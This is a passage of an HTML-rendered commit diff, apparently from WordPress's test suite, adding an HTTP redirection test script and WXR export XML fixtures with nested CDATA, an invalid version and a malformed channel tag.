</span><span class="lines">@@ -0,0 +1,29 @@
</span><ins>+\xBFid
+12
+19
+22
+30
+32
+35
+39
+42
+99
+104
+105
+106
+110
+114
+116
+119
+120
+121
+124
+131
+132
+135
+136
+138
+139
+140
+141
+142
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestsdataWPHTTPtestcaseredirectionscriptphp"></a>
<div class="addfile"><h4>Added: trunk/tests/data/WPHTTP-testcase-redirection-script.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/WPHTTP-testcase-redirection-script.php                          (rev 0)
+++ trunk/tests/data/WPHTTP-testcase-redirection-script.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,112 @@
</span><ins>+<?php
+
+// Thanks WordPress..
+function is_ssl() {
+       if ( isset($_SERVER['HTTPS']) ) {
+               if ( 'on' == strtolower($_SERVER['HTTPS']) )
+                       return true;
+               if ( '1' == $_SERVER['HTTPS'] )
+                       return true;
+       } elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+               return true;
+       }
+       return false;
+}
+
+$url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . (!empty($_SERVER['HTTP_POST']) && 80 != $_SERVER['HTTP_POST'] ? ':' . $_SERVER['HTTP_POST'] : '');
+if ( strpos($_SERVER['REQUEST_URI'], '?') )
+       $url .= substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], '?'));
+else
+       $url .= $_SERVER['REQUEST_URI'];
+
+if ( isset($_GET['source']) ) {
+       highlight_file(__FILE__ );
+       exit;
+}
+
+if ( isset($_GET['201-location']) ) {
+       header("HTTP/1.1 201 OK");
+       if ( isset($_GET['fail']) ) {
+               echo "FAIL";
+       } else {
+               header("Location: $url?201-location&fail=true", true, 201);
+               echo "PASS";
+       }
+       exit;
+}
+if ( isset($_GET['header-check']) ) {
+       $out = array();
+       header("Content-type: text/plain");
+       foreach ( $_SERVER as $key => $value ) {
+               if ( stripos($key, 'http') === 0 ) {
+                       $key = strtolower(substr($key, 5));
+                       echo "$key:$value\n";
+               }
+       }
+       exit;
+}
+if ( isset($_GET['multiple-headers']) ) {
+       header("HeaderName: One", false);
+       header("HeaderName: Two", false);
+       header("HeaderName: Three", false);
+       exit;
+}
+
+if ( isset( $_GET['post-redirect-to-method'] ) ) {
+       $method = $_SERVER['REQUEST_METHOD'];
+       $response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301;
+
+       if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) {
+               header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code );
+               exit;
+       }
+
+       echo $method;
+       exit;
+       
+}
+
+if ( isset( $_GET['location-with-200'] ) ) {
+       if ( ! isset( $_GET['redirection-performed'] ) ) {
+               header( "HTTP/1.1 200 OK" );
+               header( "Location: $url?location-with-200=1&redirection-performed", true, 200 );
+               echo 'PASS';
+               exit;
+       }
+       // Redirection was followed
+       echo 'FAIL';
+       exit;
+}
+
+if ( isset( $_GET['print-pass'] ) ) {
+       echo 'PASS';
+       exit;
+}
+
+if ( isset( $_GET['multiple-location-headers'] ) ) {
+       if ( ! isset( $_GET['redirected'] ) ) {
+               header( "Location: $url?multiple-location-headers=1&redirected=one", false );
+               header( "Location: $url?multiple-location-headers=1&redirected=two", false );
+               exit;
+       }
+       if ( 'two' != $_GET['redirected'] )
+               echo 'FAIL';
+       else
+               echo 'PASS';
+       exit;
+}
+
+$rt = isset($_GET['rt']) ? $_GET['rt'] : 5;
+$r = isset($_GET['r']) ? $_GET['r'] : 0;
+
+if ( $r < $rt ) {
+       $code = isset($_GET['code']) ? (int)$_GET['code'] : 302;
+       header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code);
+       echo "Redirect $r of $rt";
+       exit;
+}
+echo "Redirect $r of $rt is FINAL.<br/>";
+echo "GET['rt'] = Total times to redirect. Defaults to 5.<br />";
+echo "GET['r'] = Current redirection. Defaults to 0.<br />";
+echo "<a href='$url?source=true'>View Source</a>";
+
</ins></span></pre></div>
<a id="trunktestsdataexportcrazycdataescapedxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/crazy-cdata-escaped.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/crazy-cdata-escaped.xml                          (rev 0)
+++ trunk/tests/data/export/crazy-cdata-escaped.xml     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,46 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+       <wp:wxr_version>1.1</wp:wxr_version>
+       <wp:base_site_url>http://wp.dev</wp:base_site_url>
+       <item>
+               <title>Hello world!</title>
+               <link>http://example.org/?p=1</link>
+               <pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://example.org/?p=1</guid>
+               <content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]]]><![CDATA[> :)]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>1</wp:post_id>
+               <wp:post_date>2012-01-05 14:30:46</wp:post_date>
+               <wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>hello-world</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>Plain string</wp:meta_key>
+                       <wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>Closing CDATA</wp:meta_key>
+                       <wp:meta_value><![CDATA[]]]]><![CDATA[>]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>Alot of CDATA</wp:meta_key>
+                       <wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]]]><![CDATA[> closing <![CDATA[ tags like this: ]]]]><![CDATA[>]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexportcrazycdataxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/crazy-cdata.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/crazy-cdata.xml                          (rev 0)
+++ trunk/tests/data/export/crazy-cdata.xml     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,46 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+       <wp:wxr_version>1.1</wp:wxr_version>
+       <wp:base_site_url>http://wp.dev</wp:base_site_url>
+       <item>
+               <title>Hello world!</title>
+               <link>http://example.org/?p=1</link>
+               <pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://example.org/?p=1</guid>
+               <content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]> :)]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>1</wp:post_id>
+               <wp:post_date>2012-01-05 14:30:46</wp:post_date>
+               <wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>hello-world</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>Plain string</wp:meta_key>
+                       <wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>Closing CDATA</wp:meta_key>
+                       <wp:meta_value><![CDATA[]]>]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>Alot of CDATA</wp:meta_key>
+                       <wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexportinvalidversiontagxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/invalid-version-tag.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/invalid-version-tag.xml                          (rev 0)
+++ trunk/tests/data/export/invalid-version-tag.xml     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,91 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+       <title>WXR Test Data</title>
+       <link>http://localhost/</link>
+       <description>Blog with sample content for testing</description>
+       <pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+       <language>en</language>
+       <wp:wxr_version>abc</wp:wxr_version>
+       <wp:base_site_url>http://localhost/</wp:base_site_url>
+       <wp:base_blog_url>http://localhost/</wp:base_blog_url>
+       <wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+       <wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+       <wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+       <wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+       <wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexportmalformedxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/malformed.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/malformed.xml                            (rev 0)
+++ trunk/tests/data/export/malformed.xml       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,91 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<notachanneltag>
+       <title>WXR Test Data</title>
+       <link>http://localhost/</link>
+       <description>Blog with sample content for testing</description>
+       <pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+       <language>en</language>
+       <wp:wxr_version>abc</wp:wxr_version>
+       <wp:base_site_url>http://localhost/</wp:base_site_url>
+       <wp:base_blog_url>http://localhost/</wp:base_blog_url>
+       <wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+       <wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+       <wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+       <wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+       <wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
